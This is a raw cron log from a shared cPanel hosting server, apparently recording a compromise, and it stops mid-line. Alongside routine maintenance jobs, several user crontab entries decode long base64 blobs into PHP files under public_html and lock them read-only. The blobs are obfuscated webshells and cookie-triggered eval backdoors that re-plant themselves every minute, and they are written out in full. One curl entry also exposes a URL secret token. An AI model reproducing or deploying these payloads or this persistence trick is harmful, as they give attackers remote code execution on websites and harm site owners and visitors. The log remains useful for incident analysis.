Apr 19 06:48:01 medusa CROND[20004]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:48:01 medusa CROND[20006]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:48:01 medusa CROND[20008]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:49:01 medusa CROND[11833]: (root) CMD (   /usr/local/cpanel/bin/autossl_check --all)
Apr 19 06:49:01 medusa CROND[11834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:49:01 medusa CROND[11836]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 06:49:01 medusa CROND[11835]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:49:01 medusa CROND[11837]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:49:01 medusa CROND[11838]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:49:01 medusa CROND[11839]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:49:01 medusa CROND[11840]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:49:01 medusa CROND[11841]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:49:01 medusa CROND[11842]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:49:01 medusa CROND[11844]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:49:01 medusa CROND[11848]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:49:01 medusa CROND[11843]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:50:01 medusa CROND[3488]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:50:01 medusa CROND[3507]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 06:50:01 medusa CROND[3501]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 06:50:01 medusa CROND[3645]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 06:50:01 medusa CROND[3646]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:50:01 medusa CROND[3647]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 06:50:01 medusa CROND[3648]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 19 06:50:01 medusa CROND[3651]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:50:01 medusa CROND[3652]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 06:50:01 medusa CROND[3649]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 06:50:01 medusa CROND[3650]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 19 06:50:01 medusa CROND[3654]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:50:01 medusa CROND[3653]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:50:01 medusa CROND[3666]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 06:50:01 medusa CROND[3667]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:50:01 medusa CROND[3668]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Apr 19 06:50:01 medusa CROND[3674]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 06:50:01 medusa CROND[3675]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 06:50:01 medusa CROND[3679]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:50:01 medusa CROND[3682]: (root) CMD (/usr/bin/kcarectl --auto-update )
Apr 19 06:50:01 medusa CROND[3684]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 06:50:01 medusa CROND[3685]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Apr 19 06:50:01 medusa CROND[3686]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 19 06:50:01 medusa CROND[3695]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 06:50:01 medusa CROND[3692]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 06:50:01 medusa CROND[3697]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:50:01 medusa CROND[3688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:50:01 medusa CROND[3693]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 06:50:01 medusa CROND[3703]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc